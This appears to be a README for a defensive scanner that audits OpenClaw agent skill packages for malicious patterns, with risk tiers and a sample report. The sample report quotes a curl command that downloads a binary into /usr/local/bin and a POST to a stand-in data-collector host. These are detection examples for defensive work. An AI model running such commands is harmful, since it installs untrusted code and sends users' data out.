Security Scanner

Description

A security-focused skill that analyzes OpenClaw SKILL.md files and skill packages for potential security risks, malicious patterns, and suspicious behaviors. This tool helps protect your system by detecting:

•Hidden external downloads or executables
•Suspicious API calls and endpoints
•Dangerous file system operations
•Obfuscated or encoded commands
•Unusual prerequisite requirements
•Known malicious patterns

Why this matters: With 341+ malicious skills recently discovered on ClawHub, this scanner provides an essential security layer before installing any skill.

Features

•✅ Pattern Detection: Identifies suspicious code patterns and behaviors
•✅ Prerequisite Analysis: Validates required dependencies and downloads
•✅ API Endpoint Validation: Checks for suspicious external connections
•✅ File System Auditing: Detects dangerous file operations
•✅ Encoding Detection: Flags base64, hex, and other obfuscation attempts
•✅ Risk Scoring: Assigns risk levels (LOW, MEDIUM, HIGH, CRITICAL)
•✅ Detailed Reports: Provides clear explanations of findings
•✅ Whitelist Support: Configure trusted domains and patterns

Prerequisites

•Node.js 18+ (for running the scanner)
•No external API keys required
•No network access needed (works offline)

Installation

bash

# Clone or download the skill
git clone https://github.com/anikrahman0/security-skill-scanner.git

# Or install via ClawHub
clawhub install security-skill-scanner

Configuration

Create a .security-scanner-config.json in your OpenClaw directory (optional):

json

{
  "whitelistedDomains": [
    "github.com",
    "api.openai.com",
    "api.anthropic.com",
    "raw.githubusercontent.com"
  ],
  "whitelistedCommands": [
    "npm install",
    "pip install"
  ],
  "strictMode": false
}

Usage

Scan a SKILL.md file

code

User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues"
Agent: [Runs security scan and reports findings]

Scan before installation

code

User: "Before installing the email-automation skill, scan it for security risks"
Agent: [Downloads and scans the skill, provides risk assessment]

Batch scan all installed skills

code

User: "Scan all my installed OpenClaw skills for security issues"
Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]

What It Detects

🔴 CRITICAL Risks

•Shell command injection attempts
•External executable downloads (curl/wget binaries)
•Suspicious eval() or exec() usage
•Credential harvesting patterns
•Known malware signatures

🟠 HIGH Risks

•Unvalidated external API calls
•File system write access to sensitive directories
•Base64 or hex encoded commands
•Requests to unknown domains
•Privilege escalation attempts

🟡 MEDIUM Risks

•Extensive file system read access
•Network requests without HTTPS
•Large numbers of dependencies
•Unusual prerequisite requests
•Deprecated or vulnerable packages

🟢 LOW Risks

•Minor code quality issues
•Missing error handling
•Incomplete documentation
•Non-critical warnings

Output Format

code

=== Security Scan Report ===
Skill: email-automation
Scanned: 2024-02-09 14:30:22
Overall Risk: HIGH ⚠️

FINDINGS:
[CRITICAL] External Binary Download Detected
  Location: Line 45 in prerequisites
  Pattern: curl https://unknown-site.com/tool -o /usr/local/bin/helper
  Risk: This downloads and executes an external binary from an untrusted source
  Recommendation: DO NOT INSTALL - Manual verification required

[HIGH] Suspicious API Endpoint
  Location: Line 89 in execute()
  Pattern: POST to http://data-collector.xyz/log
  Risk: Sends data to unknown third-party server
  Recommendation: Review what data is being sent

[MEDIUM] Unencrypted Network Request
  Location: Line 102
  Pattern: HTTP instead of HTTPS
  Risk: Data transmitted without encryption
  Recommendation: Request HTTPS version

SUMMARY:
Total Issues: 3
Critical: 1
High: 1
Medium: 1
Low: 0

RECOMMENDATION: ❌ DO NOT INSTALL
This skill has critical security issues that pose significant risk to your system.

Example Scenarios

Scenario 1: Clean Skill

code

User: "Scan the weather-checker skill"
Agent: "✅ SAFE - No security issues detected. The skill uses standard API calls
       to api.weatherapi.com with proper HTTPS and no file system access."

Scenario 2: Suspicious Skill

code

User: "Should I install the productivity-helper skill?"
Agent: "⚠️ WARNING - This skill attempts to download an external binary and
       makes requests to an unknown domain. Risk Level: CRITICAL
       Recommendation: DO NOT INSTALL"

Scenario 3: Minor Issues

code

User: "Analyze the note-taker skill"
Agent: "⚠️ CAUTION - Risk Level: LOW
       Found 2 minor issues:
       - Uses HTTP instead of HTTPS for icon download
       - Missing input validation on file paths
       These can likely be fixed. Consider contacting the author."

Security Guarantees

This scanner itself is designed with security in mind:

•✅ No Network Access: Runs completely offline
•✅ No External Dependencies: Pure JavaScript/Node.js
•✅ Read-Only: Never modifies files being scanned
•✅ No Telemetry: Doesn't send data anywhere
•✅ Open Source: All code is auditable
•✅ Sandboxed: Doesn't execute code from scanned skills

False Positives

The scanner may flag legitimate uses of certain patterns. Common false positives:

•npm/pip installs: Legitimate package managers may trigger warnings
•GitHub URLs: Raw GitHub content URLs are generally safe
•Config files: Skills that write to config files may be flagged
•Log files: Creating log files may trigger file system warnings

Use judgment and review flagged items in context.

Limitations

•Cannot detect zero-day exploits or novel attack vectors
•May miss sophisticated obfuscation techniques
•Requires human judgment for final decision
•Cannot scan encrypted or compiled code
•Pattern-based detection can have false positives

This tool is a helpful first line of defense, but not a replacement for careful review.

Contributing

Found a malicious pattern not detected? Submit an issue or PR with:

•The malicious pattern
•Example skill that uses it
•Suggested detection method

Roadmap

• Machine learning-based pattern detection
• Integration with VirusTotal API (optional)
• Automatic skill reputation checking
• Community-sourced malware signatures
• Browser extension for ClawHub.ai scanning
• CI/CD integration for skill developers

Support

•Report issues: https://github.com/anikrahman0/security-skill-scanner/issues
•Suggest improvements: Pull requests welcome
•Security concerns: security@yourdomain.com

License

MIT License - Free to use, modify, and distribute

Disclaimer

This tool provides best-effort security scanning but cannot guarantee detection of all malicious code. Always review skills carefully before installation, especially those requiring system-level permissions. The authors are not responsible for any damages resulting from use of this tool or installation of scanned skills.

Remember: If a skill seems too good to be true or requests unusual permissions, it probably is suspicious. When in doubt, don't install it.